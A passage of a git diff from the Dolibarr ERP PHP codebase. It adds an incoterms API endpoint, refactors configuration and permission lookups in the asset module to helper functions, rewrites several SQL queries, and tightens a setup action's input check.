must be translated to + * @param string $sqlfilters Other criteria to filter answers separated by a comma. Syntax example "(t.code:like:'A%') and (t.active:>=:0)" + * @return array List of incoterm types + * + * @url GET dictionary/incoterms + * + * @throws RestException + */ + public function getListOfIncoterms($sortfield = "code", $sortorder = 'ASC', $limit = 100, $page = 0, $active = 1, $lang = '', $sqlfilters = '') + { + $list = array(); + + $sql = "SELECT rowid, code, active"; + $sql .= " FROM ".MAIN_DB_PREFIX."c_incoterms as t"; + $sql .= " WHERE 1=1"; + + // Add sql filters + if ($sqlfilters) { + $errormessage = ''; + if (!DolibarrApi::_checkFilters($sqlfilters, $errormessage)) { + throw new RestException(400, 'Error when validating parameter sqlfilters -> '.$errormessage); + } + $regexstring = '\(([^:\'\(\)]+:[^:\'\(\)]+:[^\(\)]+)\)'; + $sql .= " AND (".preg_replace_callback('/'.$regexstring.'/', 'DolibarrApi::_forge_criteria_callback', $sqlfilters).")"; + } + + + $sql .= $this->db->order($sortfield, $sortorder); + + if ($limit) { + if ($page < 0) { + $page = 0; + } + $offset = $limit * $page; + + $sql .= $this->db->plimit($limit, $offset); + } + + $result = $this->db->query($sql); + + if ($result) { + $num = $this->db->num_rows($result); + $min = min($num, ($limit <= 0 ? $num : $limit)); + for ($i = 0; $i < $min; $i++) { + $type =$this->db->fetch_object($result); + $list[] = $type; + } + } else { + throw new RestException(503, 'Error when retrieving list of incoterm types : '.$this->db->lasterror()); + } + + return $list; + } + /** * Get properties of company * @@ -1704,11 +1740,6 @@ class Setup extends DolibarrApi throw new RestException(403, 'Error API open to admin users only or to the users with logins defined into constant API_LOGINS_ALLOWED_FOR_GET_COMPANY'); } - unset($mysoc->skype); - unset($mysoc->twitter); - unset($mysoc->facebook); - unset($mysoc->linkedin); - unset($mysoc->pays); unset($mysoc->note); unset($mysoc->nom); @@ -1786,8 +1817,8 @@ class Setup extends DolibarrApi /** * Get establishment by ID. * - * @param int $id ID of establishment - * @return array Array of cleaned object properties + * @param int $id ID of establishment + * @return Object Object with cleaned properties * * @url GET establishments/{id} * @@ -1813,7 +1844,7 @@ class Setup extends DolibarrApi * Note that conf variables that stores security key or password hashes can't be loaded with API. * * @param string $constantname Name of conf variable to get - * @return array|mixed Data without useless information + * @return string Data without useless information * * @url GET conf/{constantname} * @@ -1825,7 +1856,7 @@ class Setup extends DolibarrApi global $conf; if (!DolibarrApiAccess::$user->admin - && (empty($conf->global->API_LOGINS_ALLOWED_FOR_CONST_READ) || DolibarrApiAccess::$user->login != $conf->global->API_LOGINS_ALLOWED_FOR_CONST_READ)) { + && (!getDolGlobalString('API_LOGINS_ALLOWED_FOR_CONST_READ') || DolibarrApiAccess::$user->login != getDolGlobalString('API_LOGINS_ALLOWED_FOR_CONST_READ'))) { throw new RestException(403, 'Error API open to admin users only or to the users with logins defined into constant API_LOGINS_ALLOWED_FOR_CONST_READ'); } @@ -1836,7 +1867,7 @@ class Setup extends DolibarrApi throw new RestException(403, 'Forbidden. This parameter cant be read with APIs'); } - return $conf->global->$constantname; + return getDolGlobalString($constantname); } /** diff --git a/htdocs/api/index.php b/htdocs/api/index.php index 085dd338e69..4e4da2c94cc 100644 --- a/htdocs/api/index.php +++ b/htdocs/api/index.php @@ -389,13 +389,13 @@ if (!empty($reg[1]) && ($reg[1] != 'explorer' || ($reg[2] != '/swagger.json' && $usecompression = (empty($conf->global->API_DISABLE_COMPRESSION) && !empty($_SERVER['HTTP_ACCEPT_ENCODING'])); $foundonealgorithm = 0; if ($usecompression) { - if (strpos($_SERVER['HTTP_ACCEPT_ENCODING'], 'br') !== false && is_callable('brotli_compress')) { + if (strpos($_SERVER['HTTP_ACCEPT_ENCODING'], 'br') !== false && function_exists('brotli_compress')) { $foundonealgorithm++; } - if (strpos($_SERVER['HTTP_ACCEPT_ENCODING'], 'bz') !== false && is_callable('bzcompress')) { + if (strpos($_SERVER['HTTP_ACCEPT_ENCODING'], 'bz') !== false && function_exists('bzcompress')) { $foundonealgorithm++; } - if (strpos($_SERVER['HTTP_ACCEPT_ENCODING'], 'gzip') !== false && is_callable('gzencode')) { + if (strpos($_SERVER['HTTP_ACCEPT_ENCODING'], 'gzip') !== false && function_exists('gzencode')) { $foundonealgorithm++; } if (!$foundonealgorithm) { @@ -413,13 +413,13 @@ $result = $api->r->handle(); if (Luracast\Restler\Defaults::$returnResponse) { // We try to compress the data received data - if (strpos($_SERVER['HTTP_ACCEPT_ENCODING'], 'br') !== false && is_callable('brotli_compress')) { + if (strpos($_SERVER['HTTP_ACCEPT_ENCODING'], 'br') !== false && function_exists('brotli_compress') && defined('BROTLI_TEXT')) { header('Content-Encoding: br'); - $result = brotli_compress($result, 11, BROTLI_TEXT); - } elseif (strpos($_SERVER['HTTP_ACCEPT_ENCODING'], 'bz') !== false && is_callable('bzcompress')) { + $result = brotli_compress($result, 11, constant('BROTLI_TEXT')); + } elseif (strpos($_SERVER['HTTP_ACCEPT_ENCODING'], 'bz') !== false && function_exists('bzcompress')) { header('Content-Encoding: bz'); $result = bzcompress($result, 9); - } elseif (strpos($_SERVER['HTTP_ACCEPT_ENCODING'], 'gzip') !== false && is_callable('gzencode')) { + } elseif (strpos($_SERVER['HTTP_ACCEPT_ENCODING'], 'gzip') !== false && function_exists('gzencode')) { header('Content-Encoding: gzip'); $result = gzencode($result, 9); } else { diff --git a/htdocs/asset/accountancy_codes.php b/htdocs/asset/accountancy_codes.php index 224380fc295..c6d3d0099ad 100644 --- a/htdocs/asset/accountancy_codes.php +++ b/htdocs/asset/accountancy_codes.php @@ -53,7 +53,7 @@ if ($id > 0 || !empty($ref)) { $upload_dir = $conf->asset->multidir_output[$object->entity] . "/" . $object->id; } -$permissiontoadd = $user->rights->asset->write; // Used by the include of actions_addupdatedelete.inc.php +$permissiontoadd = $user->hasRight('asset', 'write'); // Used by the include of actions_addupdatedelete.inc.php // Security check (enable the most restrictive one) if ($user->socid > 0) accessforbidden(); diff --git a/htdocs/asset/admin/setup.php b/htdocs/asset/admin/setup.php index 67448b0e304..1b107746319 100644 --- a/htdocs/asset/admin/setup.php +++ b/htdocs/asset/admin/setup.php @@ -68,16 +68,14 @@ $dirmodels = array_merge(array('/'), (array) $conf->modules_parts['models']); * Actions */ -if ((float) DOL_VERSION >= 6) { - include DOL_DOCUMENT_ROOT.'/core/actions_setmoduleoptions.inc.php'; -} +include DOL_DOCUMENT_ROOT.'/core/actions_setmoduleoptions.inc.php'; if ($action == 'updateMask') { - $maskconstorder = GETPOST('maskconstorder', 'alpha'); - $maskorder = GETPOST('maskorder', 'alpha'); + $maskconst = GETPOST('maskconst', 'alpha'); + $mask = GETPOST('mask', 'alpha'); - if ($maskconstorder) { - $res = dolibarr_set_const($db, $maskconstorder, $maskorder, 'chaine', 0, '', $conf->entity); + if ($maskconst && preg_match('/_MASK$/', $maskconst)) { + $res = dolibarr_set_const($db, $maskconst, $mask, 'chaine', 0, '', $conf->entity); if (!($res > 0)) { $error++; } @@ -206,7 +204,7 @@ foreach ($myTmpObjects as $myTmpObjectKey => $myTmpObjectArray) { } if ($myTmpObjectArray['includerefgeneration']) { /* - * Orders Numbering model + * Assets Numbering model */ $setupnotempty++; @@ -475,14 +473,14 @@ if ($action == 'edit') { if ($val['type'] == 'textarea') { print '\n"; } elseif ($val['type']== 'html') { require_once DOL_DOCUMENT_ROOT . '/core/class/doleditor.class.php'; - $doleditor = new DolEditor($constname, $conf->global->{$constname}, '', 160, 'dolibarr_notes', '', false, false, $conf->fckeditor->enabled, ROWS_5, '90%'); + $doleditor = new DolEditor($constname, getDolGlobalString($constname), '', 160, 'dolibarr_notes', '', false, false, $conf->fckeditor->enabled, ROWS_5, '90%'); $doleditor->Create(); } elseif ($val['type'] == 'yesno') { - print $form->selectyesno($constname, $conf->global->{$constname}, 1); + print $form->selectyesno($constname, getDolGlobalString($constname), 1); } elseif (preg_match('/emailtemplate:/', $val['type'])) { include_once DOL_DOCUMENT_ROOT . '/core/class/html.formmail.class.php'; $formmail = new FormMail($db); @@ -502,7 +500,7 @@ if ($action == 'edit') { $arrayofmessagename[$modelmail->id] = $langs->trans(preg_replace('/\(|\)/', '', $modelmail->label)) . $moreonlabel; } } - print $form->selectarray($constname, $arrayofmessagename, $conf->global->{$constname}, 'None', 0, 0, '', 0, 0, 0, '', '', 1); + print $form->selectarray($constname, $arrayofmessagename, getDolGlobalString($constname), 'None', 0, 0, '', 0, 0, 0, '', '', 1); } elseif (preg_match('/category:/', $val['type'])) { require_once DOL_DOCUMENT_ROOT.'/categories/class/categorie.class.php'; require_once DOL_DOCUMENT_ROOT.'/core/class/html.formother.class.php'; @@ -510,11 +508,11 @@ if ($action == 'edit') { $tmp = explode(':', $val['type']); print img_picto('', 'category', 'class="pictofixedwidth"'); - print $formother->select_categories($tmp[1], $conf->global->{$constname}, $constname, 0, $langs->trans('CustomersProspectsCategoriesShort')); + print $formother->select_categories($tmp[1], getDolGlobalString($constname), $constname, 0, $langs->trans('CustomersProspectsCategoriesShort')); } elseif (preg_match('/thirdparty_type/', $val['type'])) { require_once DOL_DOCUMENT_ROOT.'/core/class/html.formcompany.class.php'; $formcompany = new FormCompany($db); - print $formcompany->selectProspectCustomerType($conf->global->{$constname}, $constname); + print $formcompany->selectProspectCustomerType(getDolGlobalString($constname), $constname); } elseif ($val['type'] == 'securekey') { print ''; if (!empty($conf->use_javascript_ajax)) { @@ -526,11 +524,11 @@ if ($action == 'edit') { print dolJSToSetRandomPassword($constname, 'generate_token'.$constname); } elseif ($val['type'] == 'product') { if (isModEnabled("product") || isModEnabled("service")) { - $selected = (empty($conf->global->$constname) ? '' : $conf->global->$constname); + $selected = getDolGlobalString($constname); $form->select_produits($selected, $constname, '', 0); } } elseif ($val['type'] == 'accountancy_code') { - $selected = (empty($conf->global->$constname) ? '' : $conf->global->$constname); + $selected = getDolGlobalString($constname); if (isModEnabled('accounting')) { require_once DOL_DOCUMENT_ROOT . '/core/class/html.formaccounting.class.php'; $formaccounting = new FormAccounting($db); @@ -539,7 +537,7 @@ if ($action == 'edit') { print ''; } } elseif ($val['type'] == 'accountancy_category') { - $selected = (empty($conf->global->$constname) ? '' : $conf->global->$constname); + $selected = getDolGlobalString($constname); if (isModEnabled('accounting')) { print ''; // autosuggest from existing account types if found @@ -589,9 +587,9 @@ if ($action == 'edit') { print ''; if ($val['type'] == 'textarea') { - print dol_nl2br($conf->global->{$constname}); + print dol_nl2br(getDolGlobalString($constname)); } elseif ($val['type']== 'html') { - print $conf->global->{$constname}; + print getDolGlobalString($constname); } elseif ($val['type'] == 'yesno') { print ajax_constantonoff($constname); } elseif (preg_match('/emailtemplate:/', $val['type'])) { @@ -600,14 +598,14 @@ if ($action == 'edit') { $tmp = explode(':', $val['type']); - $template = $formmail->getEMailTemplate($db, $tmp[1], $user, $langs, $conf->global->{$constname}); + $template = $formmail->getEMailTemplate($db, $tmp[1], $user, $langs, getDolGlobalString($constname)); if ($template<0) { setEventMessages(null, $formmail->errors, 'errors'); } print $langs->trans($template->label); } elseif (preg_match('/category:/', $val['type'])) { $c = new Categorie($db); - $result = $c->fetch($conf->global->{$constname}); + $result = $c->fetch(getDolGlobalInt($constname)); if ($result < 0) { setEventMessages(null, $c->errors, 'errors'); } elseif ($result > 0 ) { @@ -619,18 +617,18 @@ if ($action == 'edit') { print '
        ' . implode(' ', $toprint) . '
      '; } } elseif (preg_match('/thirdparty_type/', $val['type'])) { - if ($conf->global->{$constname}==2) { + if (getDolGlobalInt($constname)==2) { print $langs->trans("Prospect"); - } elseif ($conf->global->{$constname}==3) { + } elseif (getDolGlobalInt($constname)==3) { print $langs->trans("ProspectCustomer"); - } elseif ($conf->global->{$constname}==1) { + } elseif (getDolGlobalInt($constname)==1) { print $langs->trans("Customer"); - } elseif ($conf->global->{$constname}==0) { + } elseif (getDolGlobalInt($constname)==0) { print $langs->trans("NorProspectNorCustomer"); } } elseif ($val['type'] == 'product') { $product = new Product($db); - $resprod = $product->fetch($conf->global->{$constname}); + $resprod = $product->fetch(getDolGlobalInt($constname)); if ($resprod > 0) { print $product->ref; } elseif ($resprod < 0) { @@ -640,11 +638,11 @@ if ($action == 'edit') { if (isModEnabled('accounting')) { require_once DOL_DOCUMENT_ROOT . '/accountancy/class/accountingaccount.class.php'; $accountingaccount = new AccountingAccount($db); - $accountingaccount->fetch('', $conf->global->{$constname}, 1); + $accountingaccount->fetch('', getDolGlobalString($constname), 1); print $accountingaccount->getNomUrl(0, 1, 1, '', 1); } else { - print $conf->global->{$constname}; + print getDolGlobalString($constname); } } else { print $conf->global->{$constname}; diff --git a/htdocs/asset/agenda.php b/htdocs/asset/agenda.php index b40ed122ec6..166eb12935c 100644 --- a/htdocs/asset/agenda.php +++ b/htdocs/asset/agenda.php @@ -46,8 +46,9 @@ if (GETPOST('actioncode', 'array')) { $actioncode = '0'; } } else { - $actioncode = GETPOST("actioncode", "alpha", 3) ? GETPOST("actioncode", "alpha", 3) : (GETPOST("actioncode") == '0' ? '0' : (empty($conf->global->AGENDA_DEFAULT_FILTER_TYPE_FOR_OBJECT) ? '' : $conf->global->AGENDA_DEFAULT_FILTER_TYPE_FOR_OBJECT)); + $actioncode = GETPOST("actioncode", "alpha", 3) ? GETPOST("actioncode", "alpha", 3) : (GETPOST("actioncode") == '0' ? '0' : getDolGlobalString('AGENDA_DEFAULT_FILTER_TYPE_FOR_OBJECT')); } +$search_rowid = GETPOST('search_rowid'); $search_agenda_label = GETPOST('search_agenda_label'); $limit = GETPOST('limit', 'int') ? GETPOST('limit', 'int') : $conf->liste_limit; @@ -81,7 +82,7 @@ if ($id > 0 || !empty($ref)) { $upload_dir = $conf->asset->multidir_output[$object->entity]."/".$object->id; } -$permissiontoadd = $user->rights->asset->write; // Used by the include of actions_addupdatedelete.inc.php +$permissiontoadd = $user->hasRight('asset', 'write'); // Used by the include of actions_addupdatedelete.inc.php // Security check (enable the most restrictive one) if ($user->socid > 0) accessforbidden(); @@ -125,7 +126,7 @@ $form = new Form($db); if ($object->id > 0) { $title = $langs->trans("Agenda"); //if (!empty($conf->global->MAIN_HTML_TITLE) && preg_match('/thirdpartynameonly/',$conf->global->MAIN_HTML_TITLE) && $object->name) $title=$object->name." - ".$title; - $help_url = 'EN:Module_Agenda_En'; + $help_url = 'EN:Module_Agenda_En|DE:Modul_Terminplanung'; llxHeader('', $title, $help_url); if (isModEnabled('notification')) { @@ -171,7 +172,7 @@ if ($object->id > 0) { if (get_class($objthirdparty) == 'Societe') { $out .= '&socid=' . urlencode($objthirdparty->id); } - $out .= (!empty($objcon->id) ? '&contactid=' . urlencode($objcon->id) : '') . '&percentage=-1'; + $out .= (!empty($objcon->id) ? '&contactid=' . urlencode($objcon->id) : ''); //$out.=$langs->trans("AddAnAction").' '; //$out.=img_picto($langs->trans("AddAnAction"),'filenew'); //$out.=""; @@ -181,7 +182,7 @@ if ($object->id > 0) { print '
      '; if (isModEnabled('agenda')) { - if (!empty($user->rights->agenda->myactions->create) || !empty($user->rights->agenda->allactions->create)) { + if (!empty($user->rights->agenda->myactions->create) || $user->hasRight('agenda', 'allactions', 'create')) { print '' . $langs->trans("AddAction") . ''; } else { print '' . $langs->trans("AddAction") . ''; @@ -205,6 +206,7 @@ if ($object->id > 0) { // List of all actions $filters = array(); $filters['search_agenda_label'] = $search_agenda_label; + $filters['search_rowid'] = $search_rowid; // TODO Replace this with same code than into list.php show_actions_done($conf, $langs, $db, $object, null, 0, $actioncode, '', $filters, $sortfield, $sortorder, $object->module); diff --git a/htdocs/asset/card.php b/htdocs/asset/card.php index b5896f2817e..bd3255491fc 100644 --- a/htdocs/asset/card.php +++ b/htdocs/asset/card.php @@ -69,11 +69,11 @@ if (empty($action) && empty($id) && empty($ref)) { // Load object include DOL_DOCUMENT_ROOT.'/core/actions_fetchobject.inc.php'; // Must be include, not include_once. -$permissiontoread = $user->rights->asset->read; -$permissiontoadd = $user->rights->asset->write; // Used by the include of actions_addupdatedelete.inc.php and actions_lineupdown.inc.php -$permissiontodelete = $user->rights->asset->delete || ($permissiontoadd && isset($object->status) && $object->status == $object::STATUS_DRAFT); -$permissionnote = $user->rights->asset->write; // Used by the include of actions_setnotes.inc.php -$permissiondellink = $user->rights->asset->write; // Used by the include of actions_dellink.inc.php +$permissiontoread = $user->hasRight('asset', 'read'); +$permissiontoadd = $user->hasRight('asset', 'write'); // Used by the include of actions_addupdatedelete.inc.php and actions_lineupdown.inc.php +$permissiontodelete = $user->hasRight('asset', 'delete') || ($permissiontoadd && isset($object->status) && $object->status == $object::STATUS_DRAFT); +$permissionnote = $user->hasRight('asset', 'write'); // Used by the include of actions_setnotes.inc.php +$permissiondellink = $user->hasRight('asset', 'write'); // Used by the include of actions_dellink.inc.php $upload_dir = $conf->asset->multidir_output[isset($object->entity) ? $object->entity : 1]; // Security check (enable the most restrictive one) @@ -395,8 +395,8 @@ if ($object->id > 0 && (empty($action) || ($action != 'edit' && $action != 'crea $relativepath = $objref.'/'.$objref.'.pdf'; $filedir = $conf->asset->dir_output.'/'.$objref; $urlsource = $_SERVER["PHP_SELF"]."?id=".$object->id; - $genallowed = $user->rights->asset->read; // If you can read, you can build the PDF to read content - $delallowed = $user->rights->asset->write; // If you can create/edit, you can remove a file on card + $genallowed = $user->hasRight('asset', 'read'); // If you can read, you can build the PDF to read content + $delallowed = $user->hasRight('asset', 'write'); // If you can create/edit, you can remove a file on card print $formfile->showdocuments('asset:Asset', $objref, $filedir, $urlsource, $genallowed, $delallowed, $object->model_pdf, 1, 0, 0, 28, 0, '', '', '', $langs->defaultlang); } @@ -407,6 +407,7 @@ if ($object->id > 0 && (empty($action) || ($action != 'edit' && $action != 'crea print '
      '; + $morehtmlcenter = ''; $MAXEVENT = 10; $morehtmlcenter = dolGetButtonTitle($langs->trans('SeeAll'), '', 'fa fa-bars imgforviewmode', DOL_URL_ROOT.'/asset/agenda.php?id='.$object->id); @@ -414,7 +415,7 @@ if ($object->id > 0 && (empty($action) || ($action != 'edit' && $action != 'crea // List of actions on element include_once DOL_DOCUMENT_ROOT.'/core/class/html.formactions.class.php'; $formactions = new FormActions($db); - $somethingshown = $formactions->showactions($object, $object->element, 0, 1, '', $MAXEVENT, '', $morehtmlright); + $somethingshown = $formactions->showactions($object, $object->element, 0, 1, '', $MAXEVENT, '', $morehtmlcenter); print '
      '; } diff --git a/htdocs/asset/class/asset.class.php b/htdocs/asset/class/asset.class.php index 5c50b972c93..e2d93806ca3 100644 --- a/htdocs/asset/class/asset.class.php +++ b/htdocs/asset/class/asset.class.php @@ -98,7 +98,7 @@ class Asset extends CommonObject 'rowid' => array('type'=>'integer', 'label'=>'TechnicalID', 'enabled'=>'1', 'position'=>1, 'notnull'=>1, 'visible'=>0, 'noteditable'=>'1', 'index'=>1, 'css'=>'left', 'comment'=>"Id"), 'ref' => array('type'=>'varchar(128)', 'label'=>'Ref', 'enabled'=>'1', 'position'=>20, 'notnull'=>1, 'visible'=>1, 'noteditable'=>'0', 'index'=>1, 'searchall'=>1, 'showoncombobox'=>'1', 'validate'=>'1', 'comment'=>"Reference of object"), 'label' => array('type'=>'varchar(255)', 'label'=>'Label', 'enabled'=>'1', 'position'=>30, 'notnull'=>1, 'visible'=>1, 'searchall'=>1, 'css'=>'minwidth300', 'cssview'=>'wordbreak', 'showoncombobox'=>'2', 'validate'=>'1',), - 'fk_asset_model' => array('type'=>'integer:AssetModel:asset/class/assetmodel.class.php:1:status=1 AND entity IN (__SHARED_ENTITIES__)', 'label'=>'AssetModel', 'enabled'=>'1', 'position'=>40, 'notnull'=>0, 'visible'=>1, 'index'=>1, 'validate'=>'1',), + 'fk_asset_model' => array('type'=>'integer:AssetModel:asset/class/assetmodel.class.php:1:((status:=:1) and (entity:IN:__SHARED_ENTITIES__))', 'label'=>'AssetModel', 'enabled'=>'1', 'position'=>40, 'notnull'=>0, 'visible'=>1, 'index'=>1, 'validate'=>'1',), 'qty' => array('type'=>'real', 'label'=>'Qty', 'enabled'=>'1', 'position'=>50, 'notnull'=>1, 'visible'=>0, 'default'=>'1', 'isameasure'=>'1', 'css'=>'maxwidth75imp', 'validate'=>'1',), 'acquisition_type' => array('type'=>'smallint', 'label'=>'AssetAcquisitionType', 'enabled'=>'1', 'position'=>60, 'notnull'=>1, 'visible'=>1, 'arrayofkeyval'=>array('0'=>'AssetAcquisitionTypeNew', '1'=>'AssetAcquisitionTypeOccasion'), 'validate'=>'1',), 'asset_type' => array('type'=>'smallint', 'label'=>'AssetType', 'enabled'=>'1', 'position'=>70, 'notnull'=>1, 'visible'=>1, 'arrayofkeyval'=>array('0'=>'AssetTypeIntangible', '1'=>'AssetTypeTangible', '2'=>'AssetTypeInProgress', '3'=>'AssetTypeFinancial'), 'validate'=>'1',), @@ -157,20 +157,11 @@ class Asset extends CommonObject public $status; public $user_cloture_id; - // /** - // * @var string Field with ID of parent key if this object has a parent - // */ - // public $fk_element = 'fk_asset'; - // /** - // * @var array List of child tables. To test if we can delete object. - // */ - // protected $childtables = array(); - // /** - // * @var array List of child tables. To know object to delete on cascade. - // * If name matches '@ClassNAme:FilePathClass;ParentFkFieldName' it will - // * call method deleteByParentField(parentId, ParentFkFieldName) to fetch and delete child object - // */ - // protected $childtablesoncascade = array('asset_assetdet'); + /** + * @var Asset object oldcopy + */ + public $oldcopy; + /** * @var AssetDepreciationOptions Used for computed fields of depreciation options class. @@ -410,7 +401,7 @@ class Asset extends CommonObject $sql .= $this->getFieldList('t'); $sql .= " FROM ".MAIN_DB_PREFIX.$this->table_element." as t"; if (isset($this->ismultientitymanaged) && $this->ismultientitymanaged == 1) { - $sql .= " WHERE t.entity IN (".getEntity($this->table_element).")"; + $sql .= " WHERE t.entity IN (".getEntity($this->element).")"; } else { $sql .= " WHERE 1 = 1"; } @@ -652,6 +643,8 @@ class Asset extends CommonObject return -1; } + // Old request with 'WITH' + /* $sql = "WITH in_accounting_bookkeeping(fk_docdet) AS ("; $sql .= " SELECT DISTINCT fk_docdet"; $sql .= " FROM " . MAIN_DB_PREFIX . "accounting_bookkeeping"; @@ -663,6 +656,14 @@ class Asset extends CommonObject $sql .= " LEFT JOIN in_accounting_bookkeeping as iab ON iab.fk_docdet = ad.rowid"; $sql .= " WHERE ad.fk_asset = " . (int) $this->id; $sql .= " ORDER BY ad.depreciation_date ASC"; + */ + + $sql = "SELECT ad.rowid, ad.depreciation_mode, ad.ref, ad.depreciation_date, ad.depreciation_ht, ad.cumulative_depreciation_ht"; + $sql .= ", " . $this->db->ifsql('iab.fk_docdet IS NOT NULL', 1, 0) . " AS bookkeeping"; + $sql .= " FROM " . MAIN_DB_PREFIX . "asset_depreciation AS ad"; + $sql .= " LEFT JOIN (SELECT DISTINCT fk_docdet FROM " . MAIN_DB_PREFIX . "accounting_bookkeeping WHERE doc_type = 'asset') AS iab ON iab.fk_docdet = ad.rowid"; + $sql .= " WHERE ad.fk_asset = " . (int) $this->id; + $sql .= " ORDER BY ad.depreciation_date ASC"; $resql = $this->db->query($sql); if (!$resql) { @@ -708,6 +709,8 @@ class Asset extends CommonObject return -1; } + // Old request with 'WITH' + /* $sql = "WITH in_accounting_bookkeeping(fk_docdet) AS ("; $sql .= " SELECT DISTINCT fk_docdet"; $sql .= " FROM " . MAIN_DB_PREFIX . "accounting_bookkeeping"; @@ -718,6 +721,13 @@ class Asset extends CommonObject $sql .= " LEFT JOIN in_accounting_bookkeeping as iab ON iab.fk_docdet = ad.rowid"; $sql .= " WHERE ad.fk_asset = " . (int) $this->id; $sql .= " AND iab.fk_docdet IS NOT NULL"; + */ + + $sql = "SELECT COUNT(*) AS has_bookkeeping"; + $sql .= " FROM " . MAIN_DB_PREFIX . "asset_depreciation AS ad"; + $sql .= " LEFT JOIN (SELECT DISTINCT fk_docdet FROM " . MAIN_DB_PREFIX . "accounting_bookkeeping WHERE doc_type = 'asset') AS iab ON iab.fk_docdet = ad.rowid"; + $sql .= " WHERE ad.fk_asset = " . (int) $this->id; + $sql .= " AND iab.fk_docdet IS NOT NULL"; $resql = $this->db->query($sql); if (!$resql) { @@ -866,6 +876,9 @@ class Asset extends CommonObject foreach ($options->deprecation_options as $mode_key => $fields) { // Get last depreciation lines save in bookkeeping //----------------------------------------------------- + + // Old request with 'WITH' + /* $sql = "WITH in_accounting_bookkeeping(fk_docdet) AS ("; $sql .= " SELECT fk_docdet"; $sql .= " FROM " . MAIN_DB_PREFIX . "accounting_bookkeeping"; @@ -879,6 +892,17 @@ class Asset extends CommonObject $sql .= " AND iab.fk_docdet IS NOT NULL"; $sql .= " ORDER BY ad.depreciation_date DESC"; $sql .= " LIMIT 1"; + */ + + $sql = "SELECT ad.depreciation_date, ad.cumulative_depreciation_ht"; + $sql .= " FROM " . MAIN_DB_PREFIX . "asset_depreciation AS ad"; + $sql .= " LEFT JOIN (SELECT DISTINCT fk_docdet FROM " . MAIN_DB_PREFIX . "accounting_bookkeeping WHERE doc_type = 'asset') AS iab ON iab.fk_docdet = ad.rowid"; + $sql .= " WHERE ad.fk_asset = " . (int) $this->id; + $sql .= " AND ad.depreciation_mode = '" . $this->db->escape($mode_key) . "'"; + $sql .= " AND iab.fk_docdet IS NOT NULL"; + $sql .= " ORDER BY ad.depreciation_date DESC"; + $sql .= " LIMIT 1"; + $resql = $this->db->query($sql); if (!$resql) { $this->errors[] = $langs->trans('AssetErrorFetchMaxDepreciationDateForMode', $mode_key) . ': ' . $this->db->lasterror(); diff --git a/htdocs/asset/class/assetaccountancycodes.class.php b/htdocs/asset/class/assetaccountancycodes.class.php index 720dd1e745d..60b545ba6ce 100644 --- a/htdocs/asset/class/assetaccountancycodes.class.php +++ b/htdocs/asset/class/assetaccountancycodes.class.php @@ -116,11 +116,6 @@ class AssetAccountancyCodes extends CommonObject $asset_id = $asset_id > 0 ? $asset_id : 0; $asset_model_id = $asset_model_id > 0 ? $asset_model_id : 0; - if (!is_object($hookmanager)) { - require_once DOL_DOCUMENT_ROOT . '/core/class/hookmanager.class.php'; - $hookmanager = new HookManager($this->db); - } - $hookmanager->initHooks(array('assetaccountancycodesdao')); $parameters = array('asset_id' => $asset_id, 'asset_model_id' => $asset_model_id); $reshook = $hookmanager->executeHooks('fetchAccountancyCodes', $parameters, $this); // Note that $action and $object may have been modified by some hooks @@ -188,11 +183,6 @@ class AssetAccountancyCodes extends CommonObject $asset_id = $asset_id > 0 ? $asset_id : 0; $asset_model_id = $asset_model_id > 0 ? $asset_model_id : 0; - if (!is_object($hookmanager)) { - require_once DOL_DOCUMENT_ROOT . '/core/class/hookmanager.class.php'; - $hookmanager = new HookManager($this->db); - } - $hookmanager->initHooks(array('assetaccountancycodesdao')); $parameters = array('user' => $user, 'asset_id' => $asset_id, 'asset_model_id' => $asset_model_id); $reshook = $hookmanager->executeHooks('updateAccountancyCodes', $parameters, $this); // Note that $action and $object may have been modified by some hooks diff --git a/htdocs/asset/class/assetdepreciationoptions.class.php b/htdocs/asset/class/assetdepreciationoptions.class.php index 49efadca869..f2411ea4494 100644 --- a/htdocs/asset/class/assetdepreciationoptions.class.php +++ b/htdocs/asset/class/assetdepreciationoptions.class.php @@ -319,11 +319,6 @@ class AssetDepreciationOptions extends CommonObject $asset_id = $asset_id > 0 ? $asset_id : 0; $asset_model_id = $asset_model_id > 0 ? $asset_model_id : 0; - if (!is_object($hookmanager)) { - require_once DOL_DOCUMENT_ROOT . '/core/class/hookmanager.class.php'; - $hookmanager = new HookManager($this->db); - } - $hookmanager->initHooks(array('assetdepreciationoptionsdao')); $parameters = array('asset_id' => $asset_id, 'asset_model_id' => $asset_model_id); $reshook = $hookmanager->executeHooks('fetchDepreciationOptions', $parameters, $this); // Note that $action and $object may have been modified by some hooks @@ -392,11 +387,6 @@ class AssetDepreciationOptions extends CommonObject // Clean parameters $mode = strtolower(trim($mode)); - if (!is_object($hookmanager)) { - require_once DOL_DOCUMENT_ROOT . '/core/class/hookmanager.class.php'; - $hookmanager = new HookManager($this->db); - } - $hookmanager->initHooks(array('assetdepreciationoptionsdao')); $parameters = array('mode' => $mode); $reshook = $hookmanager->executeHooks('getGeneralDepreciationInfoForMode', $parameters, $this); // Note that $action and $object may have been modified by some hooks @@ -437,11 +427,6 @@ class AssetDepreciationOptions extends CommonObject $asset_id = $asset_id > 0 ? $asset_id : 0; $asset_model_id = $asset_model_id > 0 ? $asset_model_id : 0; - if (!is_object($hookmanager)) { - require_once DOL_DOCUMENT_ROOT . '/core/class/hookmanager.class.php'; - $hookmanager = new HookManager($this->db); - } - $hookmanager->initHooks(array('assetdepreciationoptionsdao')); $parameters = array('user' => $user, 'asset_id' => $asset_id, 'asset_model_id' => $asset_model_id); $reshook = $hookmanager->executeHooks('updateDepreciationOptions', $parameters, $this); // Note that $action and $object may have been modified by some hooks diff --git a/htdocs/asset/class/assetmodel.class.php b/htdocs/asset/class/assetmodel.class.php index fb574e6ea18..a973abc3764 100644 --- a/htdocs/asset/class/assetmodel.class.php +++ b/htdocs/asset/class/assetmodel.class.php @@ -348,7 +348,7 @@ class AssetModel extends CommonObject $sql .= $this->getFieldList('t'); $sql .= " FROM ".MAIN_DB_PREFIX.$this->table_element." as t"; if (isset($this->ismultientitymanaged) && $this->ismultientitymanaged == 1) { - $sql .= " WHERE t.entity IN (".getEntity($this->table_element).")"; + $sql .= " WHERE t.entity IN (".getEntity($this->element).")"; } else { $sql .= " WHERE 1 = 1"; } diff --git a/htdocs/asset/depreciation_options.php b/htdocs/asset/depreciation_options.php index f4558ae6157..5d232670105 100644 --- a/htdocs/asset/depreciation_options.php +++ b/htdocs/asset/depreciation_options.php @@ -53,7 +53,7 @@ if ($id > 0 || !empty($ref)) { $upload_dir = $conf->asset->multidir_output[$object->entity] . "/" . $object->id; } -$permissiontoadd = $user->rights->asset->write; // Used by the include of 